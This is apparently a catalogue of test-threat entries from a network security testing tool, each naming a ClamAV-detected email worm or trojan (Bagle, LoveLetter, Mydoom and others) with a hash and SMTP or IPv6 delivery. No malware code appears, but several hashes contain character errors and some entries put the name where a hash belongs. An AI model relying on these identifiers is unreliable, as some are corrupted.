Threat File Name:	Email-Worm.VBS.Polsev.a.a.9c5e07c2.xml
Executive Description:	Email Virus Email-Worm.VBS.Polsev.a.a
Detailed Description:	This is the email virus Email-Worm.VBS.Polsev.a.a as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.VBS.Polsev.a.a. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Brit.f.fl8c3a4_IPv6.xml
Executive Description:	Email Virus Worm.Brit.f (IPv6 Version)
Detailed Description:	This is the email virus Worm.Brit.f as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: fl8c3a4ae874c8f7cf26766923469ee. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Centar.A.35a0c808_IPv6.xml
Executive Description:	Email Virus Worm.Centar.A (IPv6 Version)
Detailed Description:	This is the email virus Worm.Centar.A as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 35a0c808a7424a8e321b0c2562998c31. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Lohack.c.d1226adc_IPv6.xml
Executive Description:	Email Virus Worm.Lohack.c (IPv6 Version)
Detailed Description:	This is the email virus Worm.Lohack.c as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: d1226adc7341182ald03b17443cfc6b. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Bagle.AG.2.e4e7d15d_IPv6.xml
Executive Description:	Email Virus Worm.Bagle.AG.2 (IPv6 Version)
Detailed Description:	This is the email virus Worm.Bagle.AG.2 as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: e4e7d15d6de66de3ed6acec31ebb6f14. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.MSWord.Xinap.xin.22b12289.xml
Executive Description:	Email Virus Email-Worm.MSWord.Xinap.xin
Detailed Description:	This is the email virus Email-Worm.MSWord.Xinap.xin as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.MSWord.Xinap.xin. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.MTX.plugin.ZIP.A.d33881c7.xml
Executive Description:	Email Virus Worm.MTX.plugin.ZIP.A
Detailed Description:	This is the email virus Worm.MTX.plugin.ZIP.A as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: d33881c7e9d4c70467e00867707bea42. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	VBS.SSIWG.924e0f24_IPv6.xml
Executive Description:	Email Virus VBS.SSIWG (IPv6 Version)
Detailed Description:	This is the email virus VBS.SSIWG as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 924e0f241f86c74200ad1c0d565a9810. This attack is delivered via SMTP to a email server. (IPv6 Version)

Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Nihilith.nih.3b31cc70_IPv6.xml
Executive Description:	Email Virus Email-Worm.Win32.Nihilith.nih (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.Win32.Nihilith.nih as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Nihilith.nih. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	VBS.Elva.1.3015e4c6_IPv6.xml
Executive Description:	Email Virus VBS.Elva.1 (IPv6 Version)
Detailed Description:	This is the email virus VBS.Elva.1 as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 3015e4c6cb6f8a33dd70e3ca7637f675. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Mydoom.M.65eb44f6.xml
Executive Description:	Worm.Mydoom.M
Detailed Description:	This is the email virus Worm.Mydoom.M as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 65eb44f6c07a3336e529c7560041b013. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Santen.A.e546e24f_IPv6.xml
Executive Description:	Email Virus Worm.Santen.A (IPv6 Version)
Detailed Description:	This is the email virus Worm.Santen.A as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: e546e24f1cf46e6c037f21f3340a4ac4. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Sonic.A.2325cd4e.xml
Executive Description:	Email Virus Worm.Sonic.A
Detailed Description:	This is the email virus Worm.Sonic.A as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 2325cd4e9320b43fb9ca766873eel58a. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Bagle.Gen-zippwd.f298be77.xml
Executive Description:	Email Virus Worm.Bagle.Gen-zippwd
Detailed Description:	This is the email virus Worm.Bagle.Gen-zippwd as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: f298be77b569c772ebf0316f5dd3126b. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Gaggl.D.97d9f0fc.xml
Executive Description:	Email Virus Worm.Gaggl.D
Detailed Description:	This is the email virus Worm.Gaggl.D as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 97d9f0fc1632bce02d58171861232e0f. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.VBS.Obi.f0c66ecf.xml
Executive Description:	Email Virus Worm.VBS.Obi
Detailed Description:	This is the email virus Worm.VBS.Obi as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: f0c66ecfe750f4f740859c236e75f557. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Heather.b22c1405_IPv6.xml
Executive Description:	Email Virus Worm.Heather (IPv6 Version)
Detailed Description:	This is the email virus Worm.Heather as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: b22c140576e71cdae04313fb56d04611. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	VBS.LoveLetter.D.60e9a086.xml
Executive Description:	Email Virus VBS.LoveLetter.D
Detailed Description:	This is the email virus VBS.LoveLetter.D as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 60e9a0865d596d7da6a2e3f1362431b4. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Totilix.A.ba6bd0ba_IPv6.xml
Executive Description:	Email Virus Worm.Totilix.A (IPv6 Version)

Detailed Description:	This is the email virus Worm.Totilix.A as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: ba6bd0ba8112a75eb70eb301717aa9bc. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Energy.d.d.26a3ca35_IPv6.xml
Executive Description:	Email Virus Email-Worm.Win32.Energy.d.d (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.Win32.Energy.d.d as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Energy.d.d. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Trojan.Downloader.Small-165.5daf5119_IPv6.xml
Executive Description:	Email Virus Trojan.Downloader.Small-165 (IPv6 Version)
Detailed Description:	This is the email virus Trojan.Downloader.Small-165 as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 5daf51197603fd21dc21d0d609b189e2. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Nyxem.E.nlc66904e.xml
Executive Description:	Email Virus Nyxem.E
Detailed Description:	This is the email virus Nyxem.E as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 1c66904ecb846da5b1fb2072f9ea6e0e. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Kelino.1.1.5465177d.xml
Executive Description:	Email Virus Email-Worm.Win32.Kelino.1.1
Detailed Description:	This is the email virus Email-Worm.Win32.Kelino.1.1 as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Kelino.1.1. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Bagle.D-dll.a0c9ed58.xml
Executive Description:	Email Virus Worm.Bagle.D-dll
Detailed Description:	This is the email virus Worm.Bagle.D-dll as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: a0c9ed58da4620a7395cbf05ec337639. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.BAT.BWG.b.b.a397c393.xml
Executive Description:	Email Worm Email-Worm.BAT.BWG.b.b.a397c393
Detailed Description:	This is the email virus Email-Worm.BAT.BWG.b.b.a397c393 as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: a397c3938e7b6e7ed3aa37ala85c5158. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.LoveLetter.BK.461a2642_IPv6.xml
Executive Description:	Email Virus Worm.LoveLetter.BK (IPv6 Version)
Detailed Description:	This is the email virus Worm.LoveLetter.BK as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 461a26422bcf687478e816c91ed2ad8a. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Zafi.D.387ea0a6_IPv6.xml
Executive Description:	Email Virus Worm.Zafi.D (IPv6 Version)
Detailed Description:	This is the email virus Worm.Zafi.D as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 387ea0a6f410281971b3fc53b7777a40. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Invalid.fedd478c_IPv6.xml
Executive Description:	Email Virus Worm.Invalid (IPv6 Version)
Detailed Description:	This is the email virus Worm.Invalid as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: fedd478cb5f29697f1ec12ced4bbff12. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Heffer.a.a.73c0fd80_IPv6.xml
Executive Description:	Email Virus Email-Worm.Win32.Heffer.a.a (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.Win32.Heffer.a.a as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Heffer.a.a. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	W32.BadassWorm.af3d7ff4.xml

Executive Description:	Email Virus W32.BadassWorm
Detailed Description:	This is the email virus W32.BadassWorm as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: af3d7ff4ffeb830876c0bccdc682f6b8. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Yoxec.171f0d02.xml
Executive Description:	Email Virus Worm.Yoxec
Detailed Description:	This is the email virus Worm.Yoxec as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 171f0d0206fa49db9ed3c700356f7853. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Godog.41f04b64_IPv6.xml
Executive Description:	Email Virus Worm.Godog (IPv6 Version)
Detailed Description:	This is the email virus Worm.Godog as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 41f04b645e0dc64cbe6370505d9a6a5. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.VBS.Potok.ac937448_IPv6.xml
Executive Description:	Email Virus Worm.VBS.Potok (IPv6 Version)
Detailed Description:	This is the email virus Worm.VBS.Potok as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: ac93744837e50aeb92620cc794770b1f. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Cosol.A.a3633ab0.xml
Executive Description:	Email Virus Worm.Cosol.A
Detailed Description:	This is the email virus Worm.Cosol.A as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: a3633ab00458daf0bb1e5935c3ac2088. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	VBS.SSIWG.53f2d7d4.xml
Executive Description:	Email Virus VBS.SSIWG
Detailed Description:	This is the email virus VBS.SSIWG as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 53f2d7d4e252d48bcac3e34da3ceb55d. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Trojan.Revelation.dcfdc527.xml
Executive Description:	Email Virus Trojan.Revelation
Detailed Description:	This is the email virus Trojan.Revelation as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: dcfdc527bc9c1c823870c943608dfb4d. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.IRC.Ainjo.A.88e00495.xml
Executive Description:	Email Virus Worm.IRC.Ainjo.A
Detailed Description:	This is the email virus Worm.IRC.Ainjo.A as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 88e0049522a19b608ba005a360a03516. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Lee.L.7951d724_IPv6.xml
Executive Description:	Email Virus Worm.Lee.L (IPv6 Version)
Detailed Description:	This is the email virus Worm.Lee.L as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 7951d7246472fa9f9ae236a29b81522f. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.NewPic.Choke.5de107c0.xml
Executive Description:	Email Virus Worm.NewPic.Choke
Detailed Description:	This is the email virus Worm.NewPic.Choke as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 5de107c014a1e52dc609907c62e31522. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Xemez.2980c3ca.xml
Executive Description:	Email Virus Worm.Xemez
Detailed Description:	This is the email virus Worm.Xemez as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 2980c3ca33d926c3d8d0d039080f3cc8. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email

Threat File Name:	Email-Worm.Win32.Centar.j.j.4e489950_IPv6.xml
Executive Description:	Email Virus Email-Worm.Win32.Centar.j.j (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.Win32.Centar.j.j as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Centar.j.j. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Trojan.Killav-31.06d00522.xml
Executive Description:	Email Virus Trojan.Killav-31
Detailed Description:	This is the email virus Trojan.Killav-31 as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 06d0052219f7001d243f6ff1904356d6. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Predec.g.g.49ca4c9a_IPv6.xml
Executive Description:	Email Virus Email-Worm.Win32.Predec.g.g (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.Win32.Predec.g.g as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Predec.g.g. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Xanax.f.f.c444552e.xml
Executive Description:	Email Virus Email-Worm.Win32.Xanax.f.f
Detailed Description:	This is the email virus Email-Worm.Win32.Xanax.f.f as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Xanax.f.f. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Vote.b.89becel5.xml
Executive Description:	Email Virus Worm.Vote.b
Detailed Description:	This is the email virus Worm.Vote.b as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 89becel5189374fa94cf33ceale0543a. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Bagle.Gen-zippwd.54d70e5b.xml
Executive Description:	Email Virus Worm.Bagle.Gen-zippwd
Detailed Description:	This is the email virus Worm.Bagle.Gen-zippwd as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 54d70e5b0a481a65f7f475a315d32a2b. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Nocana.B.b7abeaac.xml
Executive Description:	Email Virus Worm.Nocana.B
Detailed Description:	This is the email virus Worm.Nocana.B as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: b7abeaac9816c20fcd69c97e94265bb3. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Skudex.a3db0c52.xml
Executive Description:	Email Virus Worm.Skudex
Detailed Description:	This is the email virus Worm.Skudex as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: a3db0c5299cc3764bb9dd12e3b1926a2. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Bagle.src.bf63ff3a_IPv6.xml
Executive Description:	Email Virus Worm.Bagle.src (IPv6 Version)
Detailed Description:	This is the email virus Worm.Bagle.src as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: bf63ff3a093159e9ac81d60397f80478. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Hatred.b.e4b9069b_IPv6.xml
Executive Description:	Email Virus Worm.Hatred.b (IPv6 Version)
Detailed Description:	This is the email virus Worm.Hatred.b as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: e4b9069baf28d21bdd6cd05305008bc5. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.VBS.Davinia.dav.ee28f7d0.xml
Executive Description:	Email Virus Email-Worm.VBS.Davinia.dav
Detailed Description:	This is the email virus Email-Worm.VBS.Davinia.dav as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.VBS.Davinia.dav. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email

Threat File Name:	Worm.Maldal.h.798c04a9.xml
Executive Description:	Email Virus Worm.Maldal.h
Detailed Description:	This is the email virus Worm.Maldal.h as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 798c04a9a6aefc02024265279e7be57d. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.VBS.Zsyang.77a8e4b5.xml
Executive Description:	Email Virus Worm.VBS.Zsyang
Detailed Description:	This is the email virus Worm.VBS.Zsyang as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 77a8e4b5cb536ecc48935da9f9a9b992. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Frethem.a.a.043145c9.xml
Executive Description:	Email Virus Email-Worm.Win32.Frethem.a.a
Detailed Description:	This is the email virus Email-Worm.Win32.Frethem.a.a as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Frethem.a.a. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	W32.Shoho.c94b0960.xml
Executive Description:	Email Virus W32.Shoho
Detailed Description:	This is the email virus W32.Shoho as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: c94b09609daf2916b68950fbb568c486. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.LastWord.68929e28.xml
Executive Description:	Email Virus Worm.LastWord
Detailed Description:	This is the email virus Worm.LastWord as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 68929e285d1a7fbdc0ea9554a06af1b4. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Gibe.B.bcde20ab.xml
Executive Description:	Email Virus Worm.Gibe.B
Detailed Description:	This is the email virus Worm.Gibe.B as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: bcde20ab1f4b344004e81d125036096b. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	VBS.LoveLetter.D.7ce5c690.xml
Executive Description:	Email Virus VBS.LoveLetter.D
Detailed Description:	This is the email virus VBS.LoveLetter.D as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 7ce5c6901f8d0d1cf484850ec9622f99. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Arica.d91178df.xml
Executive Description:	Email Virus Worm.Arica
Detailed Description:	This is the email virus Worm.Arica as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: d91178df0a96efb447d26738c543007d. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.DOS.Kondrik.j.j.5e816e39_IPv6.xml
Executive Description:	Email Virus Email-Worm.DOS.Kondrik.j.j (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.DOS.Kondrik.j.j as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.DOS.Kondrik.j.j. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Wlymak.bb427fa6.xml
Executive Description:	Email Virus Worm.Wlymak
Detailed Description:	This is the email virus Worm.Wlymak as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: bb427fa6d723a91b522ad5828350dc60. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.VBS.Titel.B.14d74038.xml
Executive Description:	Email Virus Worm.VBS.Titel.B
Detailed Description:	This is the email virus Worm.VBS.Titel.B as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 14d74038941aba45e32e45e295ae7273. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP

Threat Package:	Email
Threat File Name:	Worm.Agist.A.9377eb52.xml
Executive Description:	Email Virus Worm.Agist.A
Detailed Description:	This is the email virus Worm.Agist.A as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 9377eb52d91b7ff40alf0e5fb3436825. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Merkur.a.frm.81ee1128.xml
Executive Description:	Email Virus Email-Worm.Win32.Merkur.a.frm
Detailed Description:	This is the email virus Email-Worm.Win32.Merkur.a.frm as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Merkur.a.frm. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Gaggl.b552e8e4.xml
Executive Description:	Email Virus Worm.Gaggl
Detailed Description:	This is the email virus Worm.Gaggl as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: b552e8e455c6918f5b4760b5cd03abb2. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Batzback.c.1b9eb196_IPv6.xml
Executive Description:	Email Virus Worm.Batzback.c (IPv6 Version)
Detailed Description:	This is the email virus Worm.Batzback.c as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 1b9eb19619c4c67653158e0136b764f7. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Seliz.36e29c1e.xml
Executive Description:	Email Virus Worm.Seliz
Detailed Description:	This is the email virus Worm.Seliz as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 36e29c1eb952ec004ba18e7b848a136d. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Watcher.0d4e3923_IPv6.xml
Executive Description:	Email Virus Worm.Watcher (IPv6 Version)
Detailed Description:	This is the email virus Worm.Watcher as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 0d4e392353458ae2bb01202be7d96019. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	W32.Worm.Choke.68b13c38.xml
Executive Description:	Email Virus W32.Worm.Choke
Detailed Description:	This is the email virus W32.Worm.Choke as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 68b13c38e72cb978397d456824db4fbl. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Brit.B.75e88297_IPv6.xml
Executive Description:	Email Virus Worm.Brit.B (IPv6 Version)
Detailed Description:	This is the email virus Worm.Brit.B as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 75e88297cb585fe4931ba9a6a469f101. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.LoveLetter.BK.3879d6af_IPv6.xml
Executive Description:	Email Virus Worm.LoveLetter.BK (IPv6 Version)
Detailed Description:	This is the email virus Worm.LoveLetter.BK as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 3879d6afaa4b04falbb3a60387297ac5. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Hawawi.B.816028ed.xml
Executive Description:	Email Virus Worm.Hawawi.B
Detailed Description:	This is the email virus Worm.Hawawi.B as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 816028eda7cfb31584888b6fa55becbf. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	WScr.Unsafe.D.fddd2c80.xml
Executive Description:	Email Virus WScr.Unsafe.D
Detailed Description:	This is the email virus WScr.Unsafe.D as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: fddd2c80b880ea0148b50be9007c4ed9. This attack is delivered via SMTP to a email server.

Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.KakWorm.D.367615d2_IPv6.xml
Executive Description:	Email Virus Worm.KakWorm.D (IPv6 Version)
Detailed Description:	This is the email virus Worm.KakWorm.D as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 367615d20f130b343a49344367b5e8b7. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Plexus.B.4e4f8808.xml
Executive Description:	Email Virus Worm.Plexus.B
Detailed Description:	This is the email virus Worm.Plexus.B as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 4e4f880828f3cdfef6b8aab654aa6361. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.P2000.c5a6139b.xml
Executive Description:	Email Virus Worm.P2000
Detailed Description:	This is the email virus Worm.P2000 as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: c5a6139b142bc6cc2535f506d936c06e. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Bagle.AG.2.88a13860_IPv6.xml
Executive Description:	Email Virus Worm.Bagle.AG.2 (IPv6 Version)
Detailed Description:	This is the email virus Worm.Bagle.AG.2 as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 88a13860e90b412b59c5dec80fad7360. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.LoveLetter.BK.c1d89319_IPv6.xml
Executive Description:	Email Virus Worm.LoveLetter.BK (IPv6 Version)
Detailed Description:	This is the email virus Worm.LoveLetter.BK as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: c1d89319d1c6e4b77bf53ce33f131b6c. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.SomeFool.Gen-1.0e17dbec.xml
Executive Description:	Email Virus Worm.SomeFool.Gen-1
Detailed Description:	This is the email virus Worm.SomeFool.Gen-1 as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 0e17dbec1904b7c10614bfb29ef758fd. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Magistr.A.poly.a3804d2c_IPv6.xml
Executive Description:	Email Virus Worm.Magistr.A.poly (IPv6 Version)
